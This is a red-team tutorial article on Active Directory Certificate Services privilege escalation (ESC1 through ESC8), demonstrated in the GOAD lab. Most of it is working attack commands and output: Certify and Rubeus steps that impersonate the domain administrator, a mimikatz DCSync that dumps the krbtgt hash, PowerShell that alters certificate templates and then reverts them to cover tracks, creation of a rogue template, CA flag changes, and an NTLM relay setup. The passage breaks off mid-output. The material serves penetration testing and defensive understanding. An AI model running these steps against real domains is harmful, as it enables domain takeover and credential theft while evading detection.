Breaking ADCS: ESC1 to ESC16 Attack Techniques
Introduction
Let's talk about Active Directory Certificate Services. If you've been doing red team work for any length of time, you've probably heard about ADCS attacks. What started as a convenient way to manage digital certificates has turned into one of the most powerful attack vectors in modern Windows environments.
Here's the problem - most organizations deploy ADCS with dangerous default configurations, and many admins don't understand the security implications of certificate templates. This creates a goldmine for attackers seeking privilege escalation and persistence that's incredibly hard to detect.
I've been exploiting ADCS misconfigurations for years, and what I've found is that the same features that make certificate services useful also make them dangerous. That flexible template system that admins love? It's perfect for privilege escalation. The auto-enrollment that makes management easy? It's a playground for persistence attacks. The single endpoint that handles everything? It bypasses traditional security controls.
In this article, I'll walk you through every major ADCS attack technique discovered to date - from the foundational ESC1-8 attacks to the latest ESC13-16 techniques. You'll learn not just how these attacks work, but how to implement them in real environments with practical code examples. Everything here is based on actual penetration tests I've conducted, with working examples you can adapt to your own assessments.
Lab Environment: All examples in this article are demonstrated using the GOAD (Game of Active Directory) lab environment, which provides a realistic multi-domain Active Directory setup perfect for testing these techniques. The domains we'll be working with include essos.local
, sevenkingdoms.local
, and north.sevenkingdoms.local
.
Whether you're a red teamer looking to expand your toolkit or a defender trying to understand these threats, this article will give you the deep technical knowledge you need.
ADCS Fundamentals
Before we start breaking things, let's understand what makes ADCS different from other Windows services you're used to attacking. ADCS implements a Public Key Infrastructure (PKI) that typically follows this hierarchy:
Root CA (Offline)
└── Subordinate CA (Online)
└── Certificate Templates
└── Issued Certificates
Let's see what this looks like in our GOAD environment:
# Discover ADCS servers in the environment
nxc ldap 192.168.56.10-23 -u '' -p '' -M adcs
SMB 192.168.56.12 445 MEEREEN [*] Windows 10.0 Build 17763 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:False)
LDAPS 192.168.56.12 636 MEEREEN [+] essos.local\guest:
ADCS 192.168.56.12 - MEEREEN Found PKI Enrollment Server: meereen.essos.local
ADCS 192.168.56.12 - MEEREEN Found CN=ESSOS-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local
SMB 192.168.56.23 445 BRAAVOS [*] Windows 10.0 Build 17763 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:False)
LDAPS 192.168.56.23 636 BRAAVOS [+] essos.local\guest:
ADCS 192.168.56.23 - BRAAVOS Found PKI Enrollment Server: braavos.essos.local
ADCS 192.168.56.23 - BRAAVOS Found CN=ESSOS-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local
The key components we'll exploit:
- Certificate Authority (CA): Issues and manages certificates
- Certificate Templates: Define what certificates can be requested and by whom
- Certificate Store: Where certificates are stored on machines
- Auto-enrollment: Automatic certificate enrollment for domain objects
Certificate Template Basics
Certificate templates are the core of ADCS attacks. They define:
- Who can request certificates (enrollment permissions)
- What the certificate can be used for (Enhanced Key Usage)
- Whether the subject name can be specified by the requester
- Authentication requirements for enrollment
Here's what makes templates dangerous - they often allow way more access than admins realize. Let's look at what we find in GOAD, and enumerate certificate templates with Certify: Certify.exe find /vulnerable
command. This shows us several vulnerable templates in the GOAD environment. Now let's dive into exploiting them.
ESC1: Misconfigured Certificate Templates
ESC1 is the most straightforward ADCS attack, and honestly, it's my favorite because it's so reliable. It exploits certificate templates that allow attackers to specify arbitrary Subject Alternative Names (SANs).
Technical Details
The vulnerability happens when a certificate template has:
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled
- Client Authentication or Any Purpose EKU
- Domain Users enrollment permissions
- No manager approval required
When all these conditions align, you can request a certificate for any user in the domain. It's that simple.
Exploitation Process
First, let's enumerate vulnerable templates in our GOAD lab. Using Certify to find ESC1 vulnerabilities:
Certify.exe find /vulnerable /enabled /enrolleeSuppliesSubject
[*] Action: Find certificate templates
[*] Using current user's unrolled group SID list for cross-references
[*] Current user context : ESSOS\missandei
[*] Using the search base 'CN=Configuration,DC=essos,DC=local'
[!] Vulnerable Certificates Templates :
CA Name : braavos.essos.local\ESSOS-CA
Template Name : ESC1
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT (0x1)
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required: 0
pkiextendedkeyusage : Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS\Domain Users Access: Allow
Enrollment Rights : ESSOS\Domain Computers Access: Allow
Object Control Permissions : ESSOS\missandei Access: Allow
[*] CA Response : The certificate has been issued.
KeyType : rc4_hmac
Base64(key) : F5/CqQX4m7A8VwM5cT6pQg==
Note: KeyType may show AES256 on fully-patched DCs (ADV240011)
If KeyType shows AES256, ensure you use a 256-bit compatible CSP (e.g., Microsoft Software Key Storage Provider)
Perfect! This output confirms ESSOS\Domain Users
(which missandei
is a member of) have enrollment rights on the "ESC1" template, and the template allows an enrollee to supply the subject. Note: The output also indicates missandei
has "Object Control Permissions" over this specific template, which would additionally make it vulnerable to ESC4 by her. For ESC1, we primarily focus on the enrollment rights.
Perfect! Now let's request a certificate for the domain administrator. Request certificate impersonating Domain Admin:
⚠️ Important: For accuracy and to avoid certificate mismatch issues, we should always aim to provide the /sid
parameter which should be the SID of the user we are targeting (administrator in this case).
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:essos\administrator /sid:S-1-5-21-1394808576-3393508183-1134699666-500
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] No subject name specified, using current context as subject.
[*] Template : ESC1
[*] Subject : CN=missandei, CN=Users, DC=essos, DC=local
[*] AltName : essos\administrator
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 7
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2hT8F6PSyEzGCq5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQW
...certificate data...
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Now let's convert to PFX format for use with Rubeus. There are two methods:
Method 1: Using OpenSSL (cross-platform)
openssl pkcs12 -in cert.pem -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
Method 2: Using certutil (Windows native)
# Save the private key and certificate to separate files
# cert.key (from -----BEGIN RSA PRIVATE KEY----- to -----END RSA PRIVATE KEY-----)
# cert.pem (from -----BEGIN CERTIFICATE----- to -----END CERTIFICATE-----)
# Then merge them with certutil
certutil -MergePFX .\cert.pem .\administrator.pfx
Use Rubeus to either request NTLM hash directly or get a Kerberos TGT:
# Get NTLM Hash directly
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials
# Or get TGT (traditional method)
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:mimikatz
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'essos.local\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEwjCCBL5hggS6MIIEtqADAgEFoQ8bDUVTU09TLkxPQ0FM
...base64 encoded ticket...
[*] Action: Describe Ticket
UserName : administrator
UserRealm : ESSOS.LOCAL
ServiceName : krbtgt/essos.local
ServiceRealm : ESSOS.LOCAL
StartTime : 1/3/2025 10:30:15 AM
EndTime : 1/3/2025 8:30:15 PM
RenewTill : 1/10/2025 10:30:15 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : F5/CqQX4m7A8VwM5cT6pQg==
Note: KeyType may show AES256 on fully-patched DCs (ADV240011)
If KeyType shows AES256, ensure you use a 256-bit compatible CSP (e.g., Microsoft Software Key Storage Provider)
Perfect! Now we can use the TGT to perform DCSync:
Rubeus.exe ptt /ticket:doIFujCCBbagAwIBBaEDAgEWooIEwjCCBL5hggS6...
[*] Action: Import Ticket
[+] Ticket successfully imported!
# Now perform DCSync as administrator
mimikatz.exe "lsadump::dcsync /domain:essos.local /user:krbtgt"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:essos.local /user:krbtgt
[DC] 'essos.local' will be the domain
[DC] 'meereen.essos.local' will be the DC server
[DC] 'krbtgt' will be the DSRM user
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 1/15/2023 2:14:32 PM
Object Security ID : S-1-5-21-1394808576-3393508183-1134699666-502
Object Relative ID : 502
Credentials:
Hash NTLM: a577fcf16cfef780a2ceb343ec39a0d9
ntlm- 0: a577fcf16cfef780a2ceb343ec39a0d9
lm - 0: 367ac3b3d1f4d80b8f52a7b6e8c1d2e9
Excellent! We've successfully escalated from a domain user (missandei
) to domain admin using ESC1.
Key Improvements for ESC1 Attacks:
- Use
/sid
parameter for accuracy and to avoid certificate mismatch issues /getcredentials
flag extracts NTLM hash directly without needing TGTcertutil -MergePFX
provides Windows-native certificate conversion- More specific enumeration with
/enabled /enrolleeSuppliesSubject
flags
Advanced ESC1 Techniques
For evasion and reliability, consider these advanced approaches using the GOAD environment:
// Custom C# implementation for certificate requests
using System.Security.Cryptography.X509Certificates;
using System.Text;
using CERTENROLLLib;
public class CertificateRequestor
{
public string RequestCertificate(string caConfig, string template, string altName)
{
// Create certificate request
var request = new CX509CertificateRequestPkcs10();
var privateKey = new CX509PrivateKey();
var csp = new CCspInformation();
// Configure private key
privateKey.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider";
privateKey.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE;
privateKey.Length = 2048;
privateKey.Create();
// Build certificate request for GOAD environment
request.InitializeFromPrivateKey(
X509CertificateEnrollmentContext.ContextUser,
privateKey,
template);
// Add SAN extension for administrator@essos.local
var sanExtension = new CX509ExtensionAlternativeNames();
var altNames = new CAlternativeNames();
var altNameObj = new CAlternativeName();
altNameObj.InitializeFromString(
AlternativeNameType.XCN_CERT_ALT_NAME_RFC822_NAME,
altName);
altNames.Add(altNameObj);
sanExtension.InitializeEncode(altNames);
request.X509Extensions.Add(sanExtension);
// Submit request
var enroll = new CX509Enrollment();
enroll.InitializeFromRequest(request);
enroll.CertificateFriendlyName = "ESC1 Certificate";
return enroll.CreateRequest(EncodingType.XCN_CRYPT_STRING_BASE64);
}
}
ESC2: Misconfigured Certificate Templates with Any Purpose EKU
ESC2 targets templates with the "Any Purpose" Extended Key Usage, which essentially means the certificate can be used for anything.
Vulnerability Conditions
- Certificate template has Any Purpose EKU (OID: 2.5.29.37.0)
- Domain Users have enrollment rights
- No manager approval required
Important Note: ESC2 alone does not allow direct impersonation of other users like ESC1. An Any Purpose certificate becomes truly dangerous only when the CA or template also allows SAN/SID injection (ESC 6/9/10). On a fully-patched domain controller with strong certificate mapping enforcement (following KB5014754 patches from May 2022, with full enforcement phases extending through early 2025), an Any-Purpose certificate on its own will not bypass strong certificate mapping.
Exploitation
Let's check for ESC2 templates in GOAD:
Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates :
CA Name : braavos.essos.local\ESSOS-CA
Template Name : ESC2
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : 0x0
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required: 0
pkiextendedkeyusage : Any Purpose
msPKI-Application-Policies : Any Purpose
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS\Domain Users Access: Allow
In vanilla GOAD, ESC2 template is cloned from the built-in User template and keeps only Any-Purpose EKU (no ENROLLEE_SUPPLIES_SUBJECT flag). If your lab shows the flag, that's ESC1 + AnyPurpose combined.
Now request certificate with Any Purpose EKU (as yourself)
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC2
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : ESC2
[*] Subject : CN=missandei, CN=Users, DC=essos, DC=local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 8
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3kT8F6PSyEzGCq5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQW
...certificate data...
-----END CERTIFICATE-----
Use certificate for client authentication (as the requesting user)
Rubeus.exe asktgt /user:missandei /certificate:anypurpose.pfx /password:mimikatz
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users, DC=essos, DC=local
[+] TGT request successful!
The Any Purpose EKU can still be dangerous as it bypasses many certificate validation checks and can be used for code signing, server authentication, and other purposes beyond the intended use case.
ESC3: Enrollment Agent Templates
ESC3 is a really cool technique that exploits certificate templates granting Certificate Request Agent (Enrollment Agent) permissions. Basically, you can request certificates on behalf of other users once you get an agent certificate.
Attack Flow
The attack is pretty straightforward:
- Request an Enrollment Agent certificate
- Use that agent certificate to request certificates for other users
- Authenticate as those users
Implementation
Let's see this in action with our GOAD environment:
Step 1: Request Enrollment Agent certificate The built-in template is called "EnrollmentAgent" - clone it to ESC3-CRA for your lab if needed
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:EnrollmentAgent
[*] Action: Request a Certificates
[*] Current user context : ESSOS\khal.drogo
[*] Template : EnrollmentAgent
[*] Subject : CN=khal.drogo, CN=Users, DC=essos, DC=local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 9
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzGQ5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQWxkT8F6PSyEz
...enrollment agent certificate...
-----END CERTIFICATE-----
Step 2: Use agent certificate to request certificate for Domain Admin
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User /onbehalfof:ESSOS\administrator /enrollcert:agent.pfx /enrollcertpw:mimikatz
[*] Action: Request a Certificates on behalf of another user
[*] Current user context : ESSOS\khal.drogo
[*] Template : User
[*] On behalf of : ESSOS\administrator
[*] Agent Certificate : agent.pfx
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 10
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA8Fj9BNQ3T4Uy8F0aGF9ZLQWxkT8F6PSyEzGCq5VJXpF8rTQ
...administrator certificate...
-----END CERTIFICATE-----
Step 3: Authenticate as administrator
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=administrator, CN=Users, DC=essos, DC=local
[+] TGT request successful!
ServiceName : krbtgt/essos.local
ServiceRealm : ESSOS.LOCAL
UserName : administrator
UserRealm : ESSOS.LOCAL
StartTime : 1/3/2025 11:15:23 AM
EndTime : 1/3/2025 9:15:23 PM
RenewTill : 1/10/2025 11:15:23 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Perfect! We've escalated from khal.drogo
to administrator
using the ESC3 technique.
ESC4: Vulnerable Certificate Template Access Control
ESC4 is one of my favorite techniques because it's sneaky. Instead of exploiting existing vulnerable templates, you modify a secure template to make it vulnerable, exploit it, then clean up your tracks.
Exploitation Strategy
Here's how the attack works:
- Find templates where you have dangerous permissions (WriteProperty or WriteOwner)
- Modify the template to make it vulnerable to ESC1
- Exploit the newly vulnerable template
- Clean up your modifications to cover your tracks
Practical Implementation
Let's see what we can modify in GOAD. Find templates with vulnerable ACLs:
Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates :
CA Name : braavos.essos.local\ESSOS-CA
Template Name : ESC4
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : 0x0
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required: 0
pkiextendedkeyusage : Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS\Domain Users Access: Allow
Object Control Permissions
Owner : ESSOS\Administrator
WriteProperty Principals : ESSOS\khal.drogo Access: Allow
WriteDacl Principals : ESSOS\Administrator
# First, backup original template settings for cleanup
Get-ADObject "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" -Properties * | Select-Object * | Export-Clixml ESC4-backup.xml
# Modify template to enable ENROLLEE_SUPPLIES_SUBJECT
$template = Get-ADObject "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
Set-ADObject $template.DistinguishedName -Replace @{"msPKI-Certificate-Name-Flag"=1}
[*] Template ESC4 modified to enable ENROLLEE_SUPPLIES_SUBJECT
# Wait for AD replication
Start-Sleep -Seconds 30
# Request certificate with arbitrary SAN
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC4 /altname:upn:administrator@essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\khal.drogo
[*] Template : ESC4
[*] Subject : CN=khal.drogo, CN=Users, DC=essos, DC=local
[*] AltName : administrator@essos.local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 11
# Authenticate as administrator
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx
[+] TGT request successful!
# Restore original template (cleanup)
$template = Get-ADObject "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
Set-ADObject $template.DistinguishedName -Replace @{"msPKI-Certificate-Name-Flag"=0}
[*] Template ESC4 restored to original configuration
PowerShell Template Modification
Here's a more robust script for template modification in GOAD:
function Modify-CertificateTemplate {
param(
[string]$TemplateName,
[switch]$EnableSubjectAltName,
[switch]$Restore,
[string]$Domain = "essos.local"
)
$configPath = "CN=Configuration," + (Get-ADDomain -Identity $Domain).DistinguishedName
$templatePath = "CN=$TemplateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$configPath"
try {
$template = Get-ADObject $templatePath -Properties "msPKI-Certificate-Name-Flag"
if ($Restore) {
# Restore to secure setting
Set-ADObject $template.DistinguishedName -Replace @{"msPKI-Certificate-Name-Flag"=0}
Write-Host "[+] Template $TemplateName restored to secure configuration"
} else {
# Enable ENROLLEE_SUPPLIES_SUBJECT
Set-ADObject $template.DistinguishedName -Replace @{"msPKI-Certificate-Name-Flag"=1}
Write-Host "[+] Template $TemplateName modified to enable subject specification"
}
# Wait for AD replication
Write-Host "[*] Waiting for AD replication..."
Start-Sleep -Seconds 30
} catch {
Write-Error "Failed to modify template: $($_.Exception.Message)"
}
}
# Usage in GOAD environment
Modify-CertificateTemplate -TemplateName "ESC4" -EnableSubjectAltName -Domain "essos.local"
# ... perform attack ...
Modify-CertificateTemplate -TemplateName "ESC4" -Restore -Domain "essos.local"
ESC5: Vulnerable PKI Object Access Control
ESC5 exploits weak permissions on PKI objects themselves, including the CA server and certificate templates container.
Attack Vectors
- CA Server Object: WriteProperty permission allows configuration changes
- Certificate Templates Container: GenericWrite allows template creation
- Individual CA Objects: Various dangerous permissions
Let's examine what we have in GOAD. Check CA object permissions in essos.local domain:
Get-ADObject "CN=ESSOS-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" -Properties nTSecurityDescriptor
DistinguishedName : CN=ESSOS-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local
Name : ESSOS-CA
ObjectClass : pKIEnrollmentService
ObjectGUID : 4f8bd644-2c29-418c-93f1-fe926f91f6b4
# In GOAD, khal.drogo has interesting permissions on the CA
CA Configuration Modification
If you have WriteProperty, modify CA settings. Enable SAN in issued certificates:
certutil -config "braavos.essos.local\ESSOS-CA" -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
CertUtil: -setreg command completed successfully.
The command completed successfully.
Restart certificate services to apply changes
net stop certsvc && net start certsvc
The Certificate Services service is stopping.
The Certificate Services service was stopped successfully.
The Certificate Services service is starting.
The Certificate Services service was started successfully.
# Wait for services to fully restart
Start-Sleep -Seconds 10
Now we can request certificate with SAN from any template:
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User /altname:upn:administrator@essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\khal.drogo
[*] Template : User
[*] Subject : CN=khal.drogo, CN=Users, DC=essos, DC=local
[*] AltName : administrator@essos.local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 12
Certificate Template Creation
If you have GenericWrite on the Certificate Templates container in GOAD, create a new vulnerable template:
$templateDN = "CN=EvilTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
# Template with dangerous settings for GOAD environment
New-ADObject -Name "EvilTemplate" -Type "pKICertificateTemplate" -Path "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" -OtherAttributes @{
'flags' = 131680
'msPKI-Certificate-Name-Flag' = 1
'msPKI-Enrollment-Flag' = 41
'msPKI-Minimal-Key-Size' = 2048
'msPKI-Private-Key-Flag' = 16842752
'msPKI-Template-Schema-Version' = 2
'pKIDefaultKeySpec' = 1
'pKIExpirationPeriod' = ([byte[]](0x00,0x40,0x1E,0xA4,0xE8,0x65,0xFA,0xFF))
'pKIExtendedKeyUsage' = @('1.3.6.1.5.5.7.3.2')
'pKIKeyUsage' = ([byte[]](0x80,0x00))
'pKIOverlapPeriod' = ([byte[]](0x00,0x80,0xA6,0x0A,0xFF,0xDE,0xFF,0xFF))
'revision' = 100
}
ObjectGUID : 8f3e2a1b-9c4d-4e5f-a6b7-c8d9e0f1a2b3
DistinguishedName : CN=EvilTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local
Name : EvilTemplate
ObjectClass : pKICertificateTemplate
# Template created successfully and ready for exploitation
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
ESC6 exploits the EDITF_ATTRIBUTESUBJECTALTNAME2
flag on the CA, which allows SAN specification in any certificate request.
For detailed information on this vulnerability and remediation steps, see Microsoft Learn's "Edit vulnerable Certificate Authority setting (ESC6)" article.
Vulnerability Check
Let's check the GOAD CA configuration. Check if flag is enabled on ESSOS-CA:
certutil -config "braavos.essos.local\ESSOS-CA" -getreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags REG_DWORD = 0x144120 (1327392)
EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
EDITF_ATTRIBUTEENDDATE -- 20000 (131072)
EDITF_ATTRIBUTECA -- 4000 (16384)
EDITF_IGNOREREQUESTERGROUP -- 100000 (1048576)
CertUtil: -getreg command completed successfully.
# Flag 0x40000 (EDITF_ATTRIBUTESUBJECTALTNAME2) is present!
Exploitation
Note: Since the Microsoft hardening released in KB5014754 (May 10, 2022), certificates issued via a CA that still has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled must contain the new SID security extension or rely on weak mapping modes; otherwise logon is refused. ESC6 exploitation therefore commonly requires ESC9 or ESC10 conditions as well.
Find CAs with EDITF_ATTRIBUTESUBJECTALTNAME2 flag set:
Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates :
[!] Certificate Authority has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set!
Enterprise CA Name : ESSOS-CA
DNS Hostname : braavos.essos.local
FullName : braavos.essos.local\ESSOS-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=ESSOS-CA, DC=essos, DC=local
UserSpecifiedSAN : Enabled (ESC6)
Request certificate with arbitrary SAN using any template:
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User /altname:administrator@essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\missandei
[*] Template : User
[*] Subject : CN=missandei, CN=Users, DC=essos, DC=local
[*] AltName : administrator@essos.local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 13
Even though template doesn't allow subject specification, ESC6 allows it through the CA configuration
Enabling the Flag (if you have CA admin rights). Enable the dangerous flag on GOAD CA:
certutil -config "braavos.essos.local\ESSOS-CA" -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
CertUtil: -setreg command completed successfully.
Restart certificate services:
Restart-Service CertSvc
WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to stop...
WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to start...
Status Name DisplayName
------ ---- -----------
Running CertSvc Active Directory Certificate Services
ESC7: Vulnerable Certificate Authority Access Control
ESC7 is all about getting direct access to the CA itself. If you can get ManageCA or ManageCertificates permissions, you basically own the entire certificate infrastructure.
Let's see what permissions we have in GOAD. Check if we have ManageCA rights:
Certify.exe find /vulnerable
[!] Vulnerable Certificates Templates :
CA Name : braavos.essos.local\ESSOS-CA
Permissions
Owner : BUILTIN\Administrators Access: GenericAll
Access Rights : ESSOS\Domain Admins Access: GenericAll
Access Rights : ESSOS\Enterprise Admins Access: GenericAll
Access Rights : ESSOS\viserys.targaryen Access: ManageCA
Access Rights : ESSOS\viserys.targaryen Access: ManageCertificates
Perfect! viserys.targaryen
has ManageCA and ManageCertificates rights in GOAD.
ManageCA Rights Exploitation
ManageCA rights are like having the keys to the kingdom. Here's what you can do:
# If you have ManageCA, you can:
# 1. Enable EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -config "braavos.essos.local\ESSOS-CA" -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
CertUtil: -setreg command completed successfully.
# 2. Certificate manager rights
# As the Certify output indicated, viserys.targaryen already possesses ManageCA and ManageCertificates rights in our GOAD scenario.
# An attacker gaining these rights would typically do so by compromising an account that already has them, or by escalating to a level
# where they can modify the CA's Active Directory object permissions or the CA server's local groups.
# With ManageCA rights, one can assign officer rights (ManageCertificates) through the Certificate Authority console (certsrv.msc).
# 3. Restart services to apply changes
Restart-Service CertSvc
ManageCertificates Rights Exploitation
With ManageCertificates, approve pending requests. First, submit a request for a privileged user using SubCA template:
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:SubCA /altname:administrator@essos.local
[*] Action: Request a Certificates
[*] Current user context : ESSOS\viserys.targaryen
[*] Template : SubCA
[*] Subject : CN=viserys.targaryen, CN=Users, DC=essos, DC=local
[*] AltName : administrator@essos.local
[*] Certificate Authority : braavos.essos.local\ESSOS-CA
[*] CA Response : Taken Under Submission
[*] Request ID : 14
# The request is pending, now approve it with ManageCertificates permission
certutil -config "braavos.essos.local\ESSOS-CA" -approve 14
# Expected output:
# Request 14 approved.
# CertUtil: -approve command completed successfully.
# Retrieve the issued certificate
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /retrieve 14
[*] Action: Retrieve Certificates
[*] Request ID: 14
[*] Certificate retrieved successfully
ESC8: NTLM Relay to AD CS HTTP Endpoints
ESC8 is where things get really interesting. It combines ADCS with NTLM relay attacks, targeting HTTP-based certificate enrollment endpoints. I love this technique because it leverages two different attack vectors together.
Prerequisites
In GOAD, we have perfect conditions for ESC8:
- ADCS web enrollment enabled
- HTTP enrollment endpoint accessible at
http://braavos.essos.local/certsrv/
- We can perform NTLM relay attacks
NTLM relay works against both HTTP and HTTPS enrollment pages; the protocol matters less than whether Extended Protection for Authentication (EPA) or channel binding tokens are required. Enable EPA and require SSL to break the relay attack.
Attack Implementation
Let's test the web enrollment endpoint first:
# Check if ADCS web enrollment is accessible
curl -I http://braavos.essos.local/certsrv/certfnsh.asp
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
Date: Thu, 03 Jan 2025 16:45:12 GMT
Perfect! It's requesting NTLM authentication. Now let's set up the relay attack:
# Set up NTLM relay to ADCS HTTP endpoint
python3 ntlmrelayx.py -t http://braavos.essos.local/certsrv/certfnsh.asp -smb2support --adcs-attack --adcs-template "DomainController"
Impacket v0.11.0 - Copyright 2023 Fortra
Note: Output may vary slightly between versions - banners truncated for brevity
[*] Protocol Client DCOM loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
